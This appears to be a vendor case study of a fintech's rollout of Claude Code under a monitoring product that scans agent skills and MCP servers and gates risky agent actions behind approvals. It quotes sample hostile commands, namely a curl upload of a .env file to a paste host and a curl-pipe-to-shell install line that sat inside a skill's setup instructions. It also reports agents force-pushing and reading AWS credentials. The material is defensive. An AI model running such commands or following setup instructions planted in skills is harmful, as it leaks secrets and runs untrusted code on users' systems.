How a regulated fintech said yes to Claude Code for 140 engineers, with approvals on the riskiest actions

The engineering leads at a 300-person fintech asked for Claude Code for 140 engineers and data staff. The IT & Security team, three people, could approve the request. They couldn't say which devices already ran Claude Code, which skills and MCP servers it loaded there, or what it was allowed to do with an engineer's access to production repositories and cloud accounts.

A coding agent runs shell commands and reads files as the engineer who started it. At a regulated company, that meant one bad skill or one unreviewed terraform destroy could touch customer systems. The team wanted to say yes, with a record of what agents loaded and a person in front of the few actions that could cause damage.

The free devices showed the package installed cleanly through Jamf, so in week 1 IT pushed it to all 300 devices. On day one of the fleet inventory, Supply Chain found Claude Code on 74 of them. Most were engineers who had installed it from the terminal on their own, and a few were analysts outside engineering.

Those 74 installs loaded 212 components between them:

• 168 skills many copied from public repositories into ~/.claude/skills/
• 27 MCP servers the local programs that give an agent extra tools such as database or ticket access
• 11 plugins packaged bundles of skills and tools
• 6 hooks scripts that run when the agent starts a session or uses a tool

Supply Chain checked each skill against the open Supply Chain Agent Threat Rules (ATR) where it sat on the device. Control Plane received the component names, hashes, and findings. The skill files, usernames, and file paths stayed on the devices.

By the end of week 1 the team had trusted 186 components, left 23 unreviewed, and blocked 3. The unreviewed ones kept running and stayed on the review list. All 3 blocked components were skills that matched a critical rule. The team also reviewed all 27 MCP servers by hand and trusted the ones engineers used, since blocking from Control Plane applies to skills and plugins.

Runtime came next. In week 2, log mode showed which actions the rules would have stopped for the pilot group, with nothing stopped. In week 3 three rules moved to approval. When an engineer asked Claude Code to tear down an old staging environment, the agent's terraform destroy paused on the device. The request appeared in Control Plane with the rule it matched and the device it came from. Security approved it, and the command ran. The engineer saw the action wait for approval and then continue.

The three approval rules came from what log mode showed in week 2. Agents had run git push --force against protected branches, and some had read ~/.aws/credentials while setting up deployments. Engineers had approved each of those steps in their own terminal, and nobody else had seen them. Before turning on approvals, the team checked the coverage view in Control Plane. It showed whether Runtime could observe, ask for approval, or block for each Claude Code install. A few older Claude Code versions showed as degraded, so IT updated them through Jamf first.

In week 4 Runtime started blocking uploads of secrets. A command such as curl -T .env https://paste.example stopped before it ran, and Claude Code told the engineer which rule matched. Across all 140 people, Runtime checked roughly 200,000 actions a week and raised about 40 approval requests. Everything else, from npm test to git commit, went through without a prompt.

One of the 3 blocked skills was a popular changelog skill that three engineers used every day. Its setup section told the agent to fetch and run a remote script with curl -fsSL https://example.com/install.sh | sh, which matched a critical unsafe execution rule. Blocking it took the skill away from those three engineers for a week. One of them had it loaded in a running session, so the skill stayed there until that session ended, and Control Plane showed that the device needed a new session.

The publisher shipped a fixed version that dropped the remote script. Because the content had changed, Supply Chain listed the new version as unreviewed, and the earlier block and review didn't carry over. The team read the new version and trusted it a week later, as a new trust decision for that version only. They chose to trust the version and left the publisher unreviewed, so the next update will get its own review.